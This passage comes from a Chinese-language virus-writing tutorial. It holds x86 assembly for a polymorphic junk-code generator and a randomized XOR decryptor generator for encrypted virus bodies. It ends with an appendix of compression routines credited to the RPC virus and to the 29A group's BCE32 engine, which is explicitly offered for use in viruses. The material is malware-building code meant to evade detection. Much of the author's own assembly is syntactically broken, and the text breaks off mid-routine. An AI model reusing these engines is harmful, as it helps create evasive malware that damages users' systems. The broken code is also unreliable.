inc edi: 47h Asm_IncDec_table: db 40h db 43H db 41h db 42h db 46h db 47h db 48h db 4Bh db 49h db 4Ah db 4Eh db 4Fh Asm_IncDec_end: ; - dec eax: 48h ; - dec ebx: 4Bh ; - dec ecx: 49h ; - dec edx: 4Ah ; - dec esi: 4Eh ; - dec edi: 4Fh Asm_Jump_table1: ; a) JMP SHORT --> EBh data8 ; b) JMP NEAR --> E9h data16 ; c) JBE/JNA --> 76h data8 ; d) JLE/JNG --> 7Eh data8 ; e) JB/JNAE/JC --> 72h data8 ; f) JL/JNGE --> 7Ch data8 ; g) JZ/JE --> 74h data8 ; h) JNE/JNZ --> 75h data8 ; i) JAE/JNB/JNC --> 73h data8 ; j) JGE/JNL --> 7Dh data8 ; k) JA/JNBE --> 77h data8 ; l) JG/JNLE --> 7Fh data8 ; m) JCXZ --> E3h data8 ; n) JNO --> 71h data8 ; o) JO --> 70h data8 ; p) JP/JPE --> 7Ah data8 ; q) JNP/JPO --> 7Bh data8 ; r) JNS --> 79h data8 ; s) JS --> 78h data8 ; t) LOOP --> E2h data8 ; u) CALL SHORT --> E8h data8 db EBh,00h db 76h,00h db 7Eh,00h db 72h,00h db 7Ch,00h db 74h,00h db 75h,00h db 73h,00h db 7Dh,00h db 77h,00h db 7Fh,00h db E3h,00h db 71h,00h db 70h,00h db 7Ah,00h db 7Bh,00h db 79h,00h db 78h,00h ; Asm_Jump_table2: ; db E9h,00h,00H Asm_Jump_end: ;Asm_Callshort db E8h,00h ;Asm_Loop db E2h,00h Asm_ret_table: ; v) RETN --> C3h ; w) RETF --> CBh ; x) IRET --> CFh db C3h db CBh db CFh Asm_ret_end: Asm_Table_End: ;以上是一个代码Table,下面我们将根据Table来生成垃圾代码 ;(我写这个table的时候差点写个编译器出来) ;输入 ebx为JuneCode长度,eax为其地址 ;输出 ecx为0则成功,其他则不成功 ChoiseJundCode: pushad push ebp Call ip_delta ip_delta: pop ebp lea ebp,[ebp-offset ip_delta] Call MakeBlockTable;与Block数据填充一样,把Asm_*_Table的地址,大小,名称填入 ; 结构AsmTable的Num_xx(xx为数字) ;AsmTable结构:: ;AsmTable Struc ; Table_addr dd 0 ; Table_len dd 0 ; Table_NameID dd 0;即Table的序号 ; Ends AsmTable Call BeginChoiseJuneCode BeginChoiseJuneCode: ;开始选择代码 Call ChoiseTable; .if ebx=3h then Call ChoiseCodeWithReg .endif .if ebx=4h then Call spChoiseCodeWithImm32 .endif .if ebx=5h then Call ChoiseCodeWithImm32 .endif .if ebx==7h then Call spChoiseCode1 .endif .if ebx==8h then Call spChoiseCode2 .endif .if ebx=-9h then Call spChoiseCodeWithReg .endif .if ebx=Ah then Call spChoiseCode1 .endif .if ebx==Bh then Call ChoiseCodeWithImm8 .endif .if ebx==Ch then Call spChoiseCode1 .endif Call CheckCodelen jmp BeginChoiseJuneCode ChoiseTable: Call GetARndNumMe;生成一个随机数(>2且<=Asm_XX_Table的数目且 <>6h)存入[ebp+RND]中 mov ebx,[ebp+RND] lea edx,[ebp+Num_&ebx] assume edx:ptr AsmTable mov ebx,dword ptr [edx].Table_Name ret CheckCodelen: pop ebx .if ebx<ecx*2 then jmp end_junecode .else pop eax add eax,ecx*2 push eax rep movsw .endif sub ebx,ecx*2 push ebx ret ChoiseCodeWithReg: push dword ptr [edx].Table_len/2h Call GetARnd;生成一个小于 dword ptr [edx].Table_len/2h的随机数 ;存入eax mov ebx,dword ptr [edx].table_addr mul eax,2h add ebx,eax lea esi,[ebp+CodeTemp] mov ecx,8h mov eax,00h rep stosw lea esi,ebx lea edi,[ebp+CodeTemp] movsd mov ebx,[ebp+CodeTemp] push ebx push [ebp+offset (asm_reg_end-asm_reg_table)] Call GetARnd mov dl,[ebp+offset asm_reg_table+eax] pop ebx add bl,dl ;得到真正的机器码了!!! lea esi,[ebx] pop eax mov ecx,2h lea edi,[eax] ret spChoiseCodeWithReg: push dword ptr [edx].Table_len/2h Call GetARnd;生成一个小于 dword ptr [edx].Table_len/2h的随机数 ;存入eax mov ebx,dword ptr [edx].table_addr mul eax,2h add ebx,eax lea esi,[ebp+CodeTemp] mov ecx,8h mov eax,00h rep stosw lea esi,ebx lea edi,[ebp+CodeTemp] movsd mov ebx,[ebp+CodeTemp] push ebx push [ebp+offset (ps_reg_end-ps_reg_table)] Call GetARnd mov dl,[ebp+offset ps_reg_table+eax] pop ebx add bl,dl ;得到真正的机器码了!!! lea esi,[ebx] pop eax mov ecx,2h lea edi,[eax] ret ChoiseCodeWithImm32: mov eax,dword ptr [edx].Table_len Div eax,6h push eax Call GetARnd;生成一个小于 dword ptr [edx].Table_len/12的随机数 ;存入eax mov ebx,dword ptr [edx].table_addr mul eax,6h add ebx,eax lea esi,[ebp+CodeTemp] mov ecx,8h mov eax,00h rep stosw lea esi,ebx lea edi,[ebp+CodeTemp] mov ecx,6h rep movsw Call RNDALongImm32;生成一个形如xxxxxxxxh的数 ;存入eax中 sub edi,8h lea esi,[eax] mov ecx,4h rep movsw ;not [ebp+CodeTemp] lea esi,[ebp+CodeTemp] pop eax lea edi,[eax] push eax mov ecx,6h ret spChoiseCodeWithImm32: mov eax,dword ptr [edx].Table_len Div eax,5h push eax Call GetARnd;生成一个小于 dword ptr [edx].Table_len/5h的随机数 ;存入eax mov ebx,dword ptr [edx].table_addr mul eax,5h add ebx,eax lea esi,[ebp+CodeTemp] mov ecx,8h mov eax,00h rep stosw lea esi,ebx lea edi,[ebp+CodeTemp] mov ecx,5h rep movsw Call RNDALongImm32;生成一个形如xxxxxxxxh的数 ;存入eax中 sub edi,8h lea esi,[eax] mov ecx,4h rep movsw ;not [ebp+CodeTemp] lea esi,[ebp+CodeTemp] pop eax lea edi,[eax] push eax mov ecx,5h ret ChoiseCodeWithImm8: mov eax,dword ptr [edx].Table_len Div eax,4h push eax Call GetARnd;生成一个小于 dword ptr [edx].Table_len/4的随机数 ;存入eax mov ebx,dword ptr [edx].table_addr mul eax,4h add ebx,eax lea esi,[ebp+CodeTemp] mov ecx,8h mov eax,00h rep stosw lea esi,ebx lea edi,[ebp+CodeTemp] mov ecx,2h rep movsw Call RNDALongImm8;生成一个形如xxh的数 ;存入eax中 sub edi,2h lea esi,[eax] movsw ;not [ebp+CodeTemp] lea esi,[ebp+CodeTemp] pop eax lea edi,[eax] push eax mov ecx,2h ret sp_reg_table: db 00h db 18h db 08h db 30h db 38h db 28h db 20h sp_reg_table ; eax = 00000000b ; ebx = 00011000b ; ecx = 00001000b ; edx = 00010000b ; esi = 00110000b ; edi = 00111000b ; ebp = 00101000b ; esp = 00100000b spChoiseCode1: push dword ptr [edx].Table_len Call GetARnd;生成一个小于 dword ptr [edx].Table_len的随机数 ;存入eax mov ebx,dword ptr [edx].table_addr add ebx,eax lea esi,[ebp+CodeTemp] mov ecx,8h mov eax,00h rep stosw lea esi,ebx lea edi,[ebp+CodeTemp] movsw mov ebx,[ebp+CodeTemp] lea esi,[ebx] pop eax lea edi,[eax] mov ecx,1h push eax ret spChoiseCode2: push dword ptr [edx].Table_len/2h Call GetARnd;生成一个小于 dword ptr [edx].Table_len/4h的随机数 ;存入eax mov ebx,dword ptr [edx].table_addr mul eax,2h add ebx,eax lea esi,[ebp+CodeTemp] mov ecx,8h mov eax,00h rep stosw lea esi,ebx lea edi,[ebp+CodeTemp] movsd mov ebx,[ebp+CodeTemp] lea esi,[ebx] pop eax lea edi,[eax] push eax mov ecx,2h ret end_junecode: popad ret TempCode dd Max_path (00h) ;其它代码略... 方案C: ;不属于本次讨论的范围 (二).解密代码的生成 我在前面的论述中已经反复介绍了很多遍加密解密的问题 现在该是真的来研究这个问题的时候了,我现在先讲加密的问题:: 加密的算法很多,但是目前看起来比较好用只有XOR,像 RSA,DES等等算法都...(太长太恶心了),不太适应病毒。 我们这一章主要部分是解密代码的生成:: 我提供了一个我使用了很久的生成代码实例:: ;你还可以用上Push_table和Pop_table甚至更多(以后我会写一个poly Engine给大家欣赏的) Asm_LeaRegImm32_Table: db 8Dh,85h,00h,00h,00h,00h;eax db 8Dh,9Dh,00h,00h,00h,00h;ebx db 8Dh,8Dh,00h,00h,00h,00h;ecx db 8Dh,95h,00h,00h,00h,00h;edx db 8Dh,B5h,00h,00h,00h,00h;esi db 8Dh,BDh,00h,00h,00h,00h;edi Asm_LeaRegImm32_end: Asm_XorReg1Reg2_Table: db 33h,C0h;eax db 33h,D8h;ebx db 33h,C8h;ecx db 33h,D0h;edx db 33h,F0h;esi db 33h,F8h;edi Asm_XorReg1Reg2_end: ;- si reg = eax, 05h xxh xxh xxh xxh ;- si reg = ebx, 81h C3h xxh xxh xxh xxh ;- si reg = ecx, 81h C1h xxh xxh xxh xxh ;- si reg = edx, 81h C2h xxh xxh xxh xxh ;- si reg = esi, 81h C6h xxh xxh xxh xxh ;- si reg = edi, 81h C7h xxh xxh xxh xxh Asm_AddRegImm32_table: db 05h,00h,00h,00h,00h db 81h,C3h,00h,00h,00h,00h db 81h,C1h,00h,00h,00h,00h db 81h,C2h,00h,00h,00h,00h db 81h,C6h,00h,00h,00h,00h db 81h,C7h,00h,00h,00h,00h Asm_AddRegImm32_end: Asm_SubRegImm32_table: ; - si reg = eax, 2Dh xxh xxh xxh xxh ; - si reg = ebx, 81h EBh xxh xxh xxh xxh ; - si reg = ecx, 81h E9h xxh xxh xxh xxh ; - si reg = edx, 81h EAh xxh xxh xxh xxh ; - si reg = esi, 81h EEh xxh xxh xxh xxh ; - si reg = edi, 81h EFh xxh xxh xxh xxh db 2Dh,00h,00h,00h,00h db 81h,EBh,00h,00h,00h,00h db 81h,E9h,00h,00h,00h,00h db 81h,EAh,00h,00h,00h,00h db 81h,EEh,00h,00h,00h,00h db 81h,EFh,00h,00h,00h,00h Asm_SubRegImm32_end: ; - Test eax, reg2: 1000 0101 1100 0xxxb ; - Test ebx, reg2: 1000 0101 1101 1xxxb ; - Test ecx, reg2: 1000 0101 1100 1xxxb ; - Test edx, reg2: 1000 0101 1101 0xxxb ; - Test esi, reg2: 1000 0101 1111 0xxxb ;- Test edi, reg2: 1000 0101 1111 1xxxb Asm_TestReg1Reg2_table: db 85h,C0h db 85h,D8H db 85h,C8H db 85h,D0H db 85h,F0H db 85h,F8H Asm_TestReg1Reg2_end: Asm_TestRegImm32_table: ; - Test eax, imm32: A9h XXh XXh XXh XXh ; - Test ebx, imm32: F7h C3h XXh XXh XXh XXh ; - Test ecx, imm32: F7h C1h XXh XXh XXh XXh ; - Test edx, imm32: F7h C2h XXh XXh XXh XXh ; - Test esi, imm32: F7h C6h XXh XXh XXh XXh ; - Test edi, imm32: F7h C7h XXh XXh XXh XXh db A9h,00h,00h,00h,00h db F7h,C3h,00h,00h,00h,00h db F7h,C1h,00h,00h,00h,00h db F7h,C2h,00h,00h,00h,00h db F7h,C6h,00h,00h,00h,00h db F7h,C7h,00h,00h,00h,00h Asm_TestRegImm32_end: Asm_movregimm32_table: db B8h,00h,00h,00h,00h;我们加入Imm32时这样子::add eax,xxxxxxxxh db BBh,00h,00h,00h,00h db B9h,00h,00h,00h,00h db BAh,00h,00h,00h,00h db BEh,00h,00h,00h,00h db BFh,00h,00h,00h,00h Asm_movregimm32_end: ;-mov reg,imm32: ; - si reg = eax, B8h xxh xxh xxh xxh ; - si reg = ebx, BBh xxh xxh xxh xxh ; - si reg = ecx, B9h xxh xxh xxh xxh ; - si reg = edx, BAh xxh xxh xxh xxh ; - si reg = esi, BEh xxh xxh xxh xxh ; - si reg = edi, BFh xxh xxh xxh xxh Asm_reg_table: db 00h;eax db 03h;ebx db 01h;ecx db 02h;edx db 06h;esi db 07h;edi ; db 05h;ebp ; db 04h;esp Asm_reg_end: ;in eax==addr of @decry_XX_I0 ; ebx==addr of @decry_XX_Imain ; ecx==length of @decry_XX_I0 ; edx==length of @decry_XX_Imain ; ebp==delta!!! ChoiseDecryCode: ;使用Decry的方法:: ;XXX: ; @Seh_SetupFrame <jmp @decry_xxx_I0> ;@june_code:db 32*4 Dup (90h) ;@decry_xxx_I0: db 32*4 DUP(90h) ;@decry_xxx_Imain:db 32*4 DUP(90) ;@decry_xxx_Iend:jnz @decry_xxx_Imain ;XXX_r:实际代码 mov [ebp+addr1],eax mov [ebp+addr2],ebx mov [ebp+CTN],00h pushad lea esi,[ebp+DecryTempCode1] mov eax,00h mov ecx,32*4 rep stosb lea esi,[ebp+DecryTempCode2] mov eax,00h mov ecx,32*4 rep stosb Call ChoiseKeyReg Call ChoiseAddrReg Call ChoiseLenReg rep movsw Call ChoiseCodeToXor Call ChoiseCodeToAdd Call ChoiseCodeToSub Call ChoiseCodeToTest rep movsw popad ret ChoiseKeyReg: mov eax,[ebp+offset (asm_reg_end-asm_reg_table)] ;div eax,2h push eax Call GetARnd mov bl,[ebp+offset asm_reg_end+eax] mov [ebp+KeyReg],bl mov [ebp+KeyNum],eax mul eax,5h lea esi,[ebp+offset asm_movregImm32_table+eax] lea edi,[ebp+DecryTempCode1] mov ecx,5h rep movsw sub edi,8h mov ebx,[ebp+CryKey] ; not ebx lea esi,[ebx] mov ecx,2h rep movsd ret ChoiseAddrReg: push edi push eax rndreg: pop eax mov eax,[ebp+offset (asm_reg_end-asm_reg_table)] ;div eax,2h push eax Call GetARnd mov bl,[ebp+offset asm_reg_end+eax] mov [ebp+AddrNum],eax push eax mov al,[ebp+KeyReg] mov [ebp+AddrReg],bl cmp bl,al jz rndreg R_0: pop eax mul eax,6h lea esi,[ebp+offset asm_learegImm32_table+eax] pop edi mov ecx,6h rep movsw sub edi,8h mov ebx,[ebp+Addr_XXX_r] ;not ebx lea esi,[ebx] mov ecx,2h rep movsd ret ChoiseLenReg: push edi push eax rndreg_1: mov eax,[ebp+offset (asm_reg_end-asm_reg_table)] ;div eax,2h push eax Call GetARnd mov bl,[ebp+offset asm_reg_end+eax] mov [ebp+lenNum],eax push eax mov al,[ebp+KeyReg] mov [ebp+LenReg],bl cmp bl,al jz rndreg_1 mov bl,[ebp+LenReg] mov al,[ebp+AddReg] cmp al,bl jz rndreg_1 R_1: pop eax mul eax,5h lea esi,[ebp+offset asm_movregImm32_table+eax] pop edi mov ecx,5h rep movsw sub edi,8h mov ebx,[ebp+lenof_XXX_r] ;not ebx lea esi,[ebx] mov ecx,2h rep movsd lea edi,[ebp+Addr1] lea esi,[ebp+DeCryTempCode1] mov ecx, 10h ret ChoiseCodeToXor: mov eax,[ebp+AddrNum] mul eax,2h lea esi,[ebp+offset asm_xorreg1reg2_table+eax] lea edi,[ebp+DecryTempCode2] mov ecx,2h mov ebx,[ebp+CTN] add ebx,ecx mov [ebp+CTN],ebx rep movsw mov eax,[ebp+KeyNum] mov bl,[ebp+offset asm_reg_end+eax] mov edx,[ebp+DecryTempCode2] not edx add dl,bl not edx mov [ebp+DecryTempCode2],edx ret ChoiseCodeToAdd: push edi mov eax,[ebp+AddrNum] .if eax!=0h then sub eax,1h mul eax,6h add eax,5h .endif lea esi,[ebp+offset asm_AddregImm32_table+eax] pop edi .if eax==0h then mov ecx,5h .else mov ecx,6h .endif mov ebx,[ebp+CTN] add ebx,ecx mov [ebp+CTN],ebx rep movsw sub edi,8h mov ebx,[ebp+LenofKey] ;not ebx lea esi,[ebx] mov ecx,4h rep movsw ret ChoiseCodeToSub: push edi mov eax,[ebp+LenNum] .if eax!=0h then sub eax,1h mul eax,6h add eax,5h .endif lea esi,[ebp+offset asm_SubregImm32_table+eax] pop edi .if eax==1h then mov ecx,5h .else mov ecx,6h .endif mov ebx,[ebp+CTN] add ebx,ecx mov [ebp+CTN],ebx rep movsw sub edi,8h mov ebx,[ebp+LenofKey] ;not ebx lea esi,[ebx] mov ecx,4h rep movsw ret ChoiseCodeToTest: push edi mov eax,[ebp+LenNum] .if eax!=0h then sub eax,1h mul eax,6h add eax,5h .endif lea esi,[ebp+offset asm_TestregImm32_table+eax] pop edi .if eax==1h then mov ecx,5h .else mov ecx,6h .endif mov ebx,[ebp+CTN] add ebx,ecx mov [ebp+CTN],ebx rep movsw lea edi,[ebp+Addr2] lea esi,[ebp+DecryTempCode2] mov ecx,[ebp+CTN] ret 附录A.几个压缩算法 ;本来想写个单独的章节介绍压缩不过为了突出主题,只好放在附录A了 算法A: ;来自RPC病毒的代码的Lz77 ;extern "C" ;void __declspec(naked) WINAPI ;LZ77Compress( ; PUCHAR __pDataBuffer, ; ULONG __ulDataLength, ; PUCHAR __pOutputBuffer, ; PULONG __pulNumberOfBits ; ) ;//{ ;********************************************************************* ;* * ;* LZ77Compress() * ;* [Param1] * ;* [Param2] * ;* [Param3] * ;* [Param4] * ;* * ;* Remarks: * ;* Decompress the data. * ;* * ;* Parameters: * ;* [Param1] * ;* Point to the buffer containing the data that will be * ;* compressed. * ;* [Param2] * ;* The total bytes of the data that will be compressed * ;* [Param3] * ;* Point to the buffer where the data will be stored after * ;* compression. * ;* [Param4] * ;* Point to the variable that will save the number of bits of * ;* the data after compression * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* BASE_OFFSET = (36) pDataBuffer = (BASE_OFFSET) ulDataLength = (BASE_OFFSET+4) pOutputBuffer = (BASE_OFFSET+8) pulNumberOfBits = (BASE_OFFSET+12) iSlideWindowPtr = (-4) ulBytesCoded = (-8) ulBytesDecoded = (-8) ulLength = (-12) ulOffset = (-16) pSlideWindowPtr = (-20) LZ77Compress: pushad mov ebp, esp xor ebx, ebx ; Intialize ulBitOffset mov esi, [ebp][pDataBuffer] ; Initialize pUncodedDataPtr mov edi, [ebp][pOutputBuffer] push -MAX_WND_SIZE ; Initialize iSlideWindowPtr push 0 ; Initialzie ulBytesCoded sub esp, 3 * 4 lp_CompressDataWithLZ77: mov edx, [ebp][ulBytesCoded] cmp edx, 00001000h jb lb_NotAssumeDataCompressibility mov ecx, ebx ;After MAX_WND_SIZE bytes data have been shr ecx, 3 ;compressed, we should assume the cmp ecx, edx ;compressibility of the data. jbe lb_DataCompressibilityIsStillGood ; xor ebx, ebx jmp lb_ExitLZ77Compress lb_NotAssumeDataCompressibility: lb_DataCompressibilityIsStillGood: ;mov eax, [ebp][ulBytesCoded] ;cmp eax, [ebp][ulDataLength] mov eax, [ebp][ulDataLength] sub eax, [ebp][ulBytesCoded] jbe lb_AllBytesCompressed push eax mov eax, [ebp][iSlideWindowPtr] mov edx, [ebp][pDataBuffer] ; edx holds pSlideWindowPtr mov ecx, MAX_WND_SIZE ; ecx holds ulMaxStringLength cmp eax, 0 jl lb_L01_1 add edx, eax jmp lb_L01_3 lb_L01_1: cmp eax, -MAX_WND_SIZE jl lb_L01_2 add ecx, eax jmp lb_L01_3 lb_L01_2: xor ecx, ecx xor edx, edx lb_L01_3: pop eax cmp eax, ecx jae lb_BytesLeftMoreThanMaxWndSize mov ecx, eax lb_BytesLeftMoreThanMaxWndSize: call FindSubStringWithMaxLength mov eax, [ebp][ulLength] cmp eax, 1 jle lb_MatchedStringLengthIsLessThan1 call Write1ToBitStream mov eax, [ebp][ulOffset] mov ecx, OFFSET_CODING_LENGTH call WriteBitsToBitStream mov eax, [ebp][ulLength] call WriteGolombCode mov eax, [ebp][ulLength] add esi, eax add [ebp][iSlideWindowPtr], eax add [ebp][ulBytesCoded], eax jmp lp_CompressDataWithLZ77 lb_MatchedStringLengthIsLessThan1: call Write0ToBitStream mov eax, [esi] push 8 pop ecx call WriteBitsToBitStream inc esi inc dword ptr [ebp][iSlideWindowPtr] inc dword ptr [ebp][ulBytesCoded] jmp lp_CompressDataWithLZ77 lb_AllBytesCompressed: lb_ExitLZ77Compress: mov eax, [ebp][pulNumberOfBits] mov [eax], ebx mov esp, ebp popad ret 16 ;********************************************************************* ;* * ;* WriteBitsToBitStream() * ;* * ;* Remarks: * ;* Writing a series of bits to the bit stream. * ;* * ;* Parameters: * ;* [Edi] * ;* Point to the base address of the bit stream. The address is * ;* byte-boundary. * ;* [Ebx] * ;* The offset in the bit stream where the new bits will * ;* be written. * ;* [Eax] * ;* The bits that will be wtitten to the bit stream. * ;* [Ecx]: * ;* The number of bits that will be written to the bit stream. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* WriteBitsToBitStream: lp_LoopOfWritingOffset: shr eax, 1 jc lb_CurrentBitIs1 call Write0ToBitStream jmp lb_WriteNextBit lb_CurrentBitIs1: call Write1ToBitStream lb_WriteNextBit: loop lp_LoopOfWritingOffset ret ;********************************************************************* ;* * ;* Write1ToBitStream() * ;* * ;* Remarks: * ;* Writing 1 to the bit stream. * ;* * ;* Parameters: * ;* [Edi] * ;* Point to the base address of the bit stream. The * ;* address is byte-boundary. * ;* [Ebx] * ;* The offset in the bit stream where the data 1 will * ;* be written. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* Write1ToBitStream: lb_Write1ToBitStream: push edx push ecx push eax mov eax, ebx shr eax, 3 add eax, edi mov ecx, ebx and ecx, 7 push 1 pop edx shl edx, cl or [eax], dl pop eax pop ecx pop edx inc ebx ret ;********************************************************************* ;* * ;* Write0ToBitStream * ;* * ;* Remarks: * ;* Writing 0 to the bit stream. * ;* * ;* Parameters: * ;* [Edi] * ;* Point to the base address of the bit stream. The address is * ;* byte-boundary. * ;* [Ebx] * ;* The offset in the bit stream where the data 0 will * ;* be written. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* Write0ToBitStream: lb_Write0ToBitStream: push edx push ecx push eax mov eax, ebx shr eax, 3 add eax, edi mov ecx, ebx and ecx, 7 push 1 pop edx shl edx, cl not edx and [eax], dl pop eax pop ecx pop edx inc ebx ret ;********************************************************************* ;* * ;* CompareStrings() * ;* * ;* Remarks: * ;* Compare two strings. * ;* * ;* Parameters: * ;* [Ecx] * ;* Point to string1. * ;* [Edi] * ;* Point to string2. * ;* [Ecx] * ;* The max length of comparation length. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* CompareStrings: ;//{ push esi push edi ;lea eax, [esi+1] ;cld ;rep cmpsb mov eax, esi lp_CompareStrings: mov dl, [esi] cmp dl, [edi] jnz lb_StringsUnmatched inc esi inc edi loop lp_CompareStrings lb_StringsUnmatched: sub esi, eax mov eax, esi pop edi pop esi ret ;//} ;********************************************************************* ;* FindSubStringWithMaxLength() * ;* * ;* Remarks: * ;* Find the sub string of string2 with the max length * ;* that matches string1. * ;* * ;* Parameters: * ;* [Ecx] * ;* The max length of string1. * ;* [Esi] * ;* Point to string1. * ;* [Edi] * ;* Point to string2. * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* FindSubStringWithMaxLength: ;//{ push esi push edi xor eax, eax mov [ebp][ulLength], eax ; Initailzie return value mov [ebp][ulOffset], eax ; Initialize return value mov [ebp][pSlideWindowPtr], edx ; Save pSlideWindowPtr mov edi, edx test edi, edi jz lb_ExitFindLongestSubstring jecxz lb_ExitFindLongestSubstring lb_LoopOfFindSubStrings: push ecx call CompareStrings pop ecx cmp eax, [ebp][ulLength] jbe lb_SubStringIsNotTheLongest mov [ebp][ulLength], eax mov eax, edi sub eax, [ebp][pSlideWindowPtr] mov [ebp][ulOffset], eax lb_SubStringIsNotTheLongest: inc edi loop lb_LoopOfFindSubStrings lb_ExitFindLongestSubstring: pop edi pop esi ret ;//} ;********************************************************************* ;* * ;* WriteGolombCode() * ;* * ;* Remarks: * ;* Write the Golomb code to the bit stream. * ;* * ;* Parameters: * ;* [Eax] * ;* The value which is to be coded. * ;* [Edi] * ;* Point to start address of the bit stream. * ;* [Ebx] * ;* The offset in the bit stream where the Golomb code * ;* will be written. * ;* * ;* Return value: * ;* The length of the coding. * ;* * ;********************************************************************* WriteGolombCode: lea ecx, [eax-1] shr ecx, M ; q mov edx, ecx push ecx jecxz lb_QIsZero lp_WriteQOnes: call Write1ToBitStream loop lp_WriteQOnes lb_QIsZero: call Write0ToBitStream shl edx, M ; q<<m sub eax, edx ; dec eax ; r = x-(q<<m)-1 mov ecx, 1 lb_LoopOfWritingR: shr eax, 1 jc lb_CurrentBitIs1_b call Write0ToBitStream jmp lb_CurrentBitIs0_b lb_CurrentBitIs1_b: call Write1ToBitStream lb_CurrentBitIs0_b: inc ecx cmp ecx, M jbe lb_LoopOfWritingR pop eax add eax, M+1 ret ;//} ;extern "C" ;void __declspec(naked) WINAPI ;LZ77Decompress( ; PUCHAR __pDataBuffer, ; ULONG __ulNumberOfBits, ; PUCHAR __pOutputBuffer, ; PULONG __pulNumberOfBytes ; ) ;//{ ;********************************************************************* ;* * ;* LZ77Decompress() * ;* [Param1] * ;* [Param2] * ;* [Param3] * ;* [Param4] * ;* * ;* Remarks: * ;* Decompress the data. * ;* * ;* Parameters: * ;* [Param1] * ;* Point to the buffer containing the data that will be * ;* decompressed. * ;* [Param2] * ;* The total bits of the data that will be decompressed * ;* [Param3] * ;* Point to the buffer where the data will be stored after * ;* decompression. * ;* [Param4] * ;* The number of bytes of the data after decompression * ;* * ;* Return value: * ;* None. * ;* * ;********************************************************************* ulNumberOfBits = (BASE_OFFSET+4) pOutputBuffer = (BASE_OFFSET+8) pulNumberOfBytes = (BASE_OFFSET+12) LZ77Decompress: pushad mov ebp, esp xor ebx, ebx ; Initialize bit offset mov esi, [ebp][pDataBuffer] mov edi, [ebp][pOutputBuffer] push -MAX_WND_SIZE push 0 sub esp, 3 * 4 lb_LZ77Decompress: cmp ebx, [ebp][ulNumberOfBits] jae lb_AllDataDecompressed call ReadBitFromBitStream test eax, eax jz lb_SingleCharacter mov eax, [ebp][iSlideWindowPtr] mov edx, [ebp][pOutputBuffer] cmp eax, 0 jl lb_L2_a add edx, eax jmp lb_L2_b lb_L2_a: cmp eax, -MAX_WND_SIZE jge lb_L2_b xor edx, edx lb_L2_b: push edx mov ecx, OFFSET_CODING_LENGTH call ReadBitsFromBitStream push eax call ReadGolombCode pop eax xchg esi, [esp] add esi, eax add [ebp][iSlideWindowPtr], ecx add [ebp][ulBytesDecoded], ecx lp_CopyingString: mov al, [esi] mov [edi], al inc esi inc edi loop lp_CopyingString pop esi jmp lb_LZ77Decompress lb_SingleCharacter: mov ecx, 8 call ReadBitsFromBitStream mov [edi], al inc edi inc dword ptr [ebp][iSlideWindowPtr] inc dword ptr [ebp][ulBytesDecoded] jmp lb_LZ77Decompress lb_AllDataDecompressed: mov eax, [ebp][ulBytesDecoded] mov ecx, [ebp][pulNumberOfBytes] jecxz lb_NumberOfBytesNotRequiredReturned mov [ecx], eax lb_NumberOfBytesNotRequiredReturned: mov esp, ebp popad ret 16 ReadBitFromBitStream: push ecx mov eax, ebx shr eax, 3 add eax, esi mov ecx, ebx and ecx, 7 mov eax, [eax] shr eax, cl and eax, 1 pop ecx inc ebx ret ReadBitsFromBitStream: push edi push edx xor edx, edx xor edi, edi xchg ecx, edi lb_LoopOfReadBits: call ReadBitFromBitStream shl eax, cl or edx, eax inc ecx dec edi jnz lb_LoopOfReadBits mov eax, edx pop edx pop edi ret ;********************************************************************* ;* * ;* ReadGolombCode() * ;* * ;* Remarks: * ;* Read the Golomb code from the bit stream. * ;* * ;* Parameters: * ;* [Esi] * ;* Point to start address of the bit stream. * ;* [Ebx] * ;* The offset in the bit stream where the Golomb code will * ;* be read from. * ;* * ;* Return value: * ;* [Ecx] * ;* The decoding value * ;* * ;********************************************************************* ReadGolombCode: xor edx, edx lb_ReadNextBitUntil0IsFound: call ReadBitFromBitStream test eax, eax jz lb_ZeroBitIsFound inc edx jmp lb_ReadNextBitUntil0IsFound lb_ZeroBitIsFound: push edx xor ecx, ecx xor edx, edx lb_LoopOfDecodingR: call ReadBitFromBitStream shl eax, cl or edx, eax inc ecx cmp ecx, M jb lb_LoopOfDecodingR mov ecx, edx pop edx shl edx, M lea ecx, [ecx+edx+1] ret 算法B. ;Benny的BCE32 Engine,我认为这是最好的代码 ;How can I use BCE32 in my virus ? ;================================== ; ;BCE32 is placed in two procedures called BCE32_Compress and BCE32_Decompress. ; ; ;a) BCE32_Compress: ;------------------- ;Input state: ;1) ESI register - pointer to data, which will be compressed ;2) EDI register - pointer to memory, where will be placed compressed data ;3) ECX register - number of bytes to compress + 1 (do not forget "+ 1" !) ;4) EBX register - work memory (16 bytes) ;5) EDX register - work memory (16 bytes). MUST NOT be same as EBX ! ; ;call BCE32_Compress ; ;Output state: ;1) EAX register - new size of compressed data ;2) CF set, if negative compression ;3) Other registers r preserved (except FLAGS) ; ; ;b) BCE32_Decompress: ;--------------------- ;Input state: ;1) ESI register - pointer to compressed data ;2) EDI register - pointer to memory, where will be placed decompressed data ;3) ECX register - number of bytes to decompress (EAX value returned by ; BCE32_Compress) - 1 (do not forget "- 1" !) ; ;call BCE32_Decompress ; ;Output state: ;1) All registers r preserved ; ; ;WARNING: Be sure, u have enought memory for case of negative compression. ;NOTE:U can compress (in some special cases) already compressed data. ;For this purpose exists output parameters EAX and CF. ; ; ; ;Do u like this (or my another work) ? ;====================================== ; ;Gimme know. If u have some notes or commentz for this, for another work, ;or if u simply like it, mail me to benny@post.cz. Thanx. ; ; ; ;Don't u like it ? ;================== ; ;Fuck u. ; ; ; ;(c) by Benny/29A May 1999. BCE32_CompressProc;compression procedure pushad;save all regs ;stage 1 pushad;and again create_table: push ecx;save for l8r usage push 4 pop ecx;ECX = 4 lodsb;load byte to AL l_table:push eax;save it xor edx, edx;EDX = 0 and al, 3;this stuff will separate and test je st_end;bit groups cmp al, 2 je st2 cmp al, 3 je st3 st1:inc edx;01 jmp st_end st2:inc edx;10 inc edx jmp st_end st3:mov dl, 3;11 st_end:inc dword ptr [ebx+4*edx];increment count in table pop eax ror al, 2;next bit group loop l_table pop ecx;restore number of bytes loop create_table;next byte push 4;this will check for same numbers pop ecx;ECX = 4 re_t:cdq;EDX = 0 t_loop:mov eax, [ebx+4*edx];load DWORD inc dword ptr [ebx+4*edx];increment it cmp eax, [ebx];test for same numbers je _inc_;... cmp eax, [ebx+4];... je 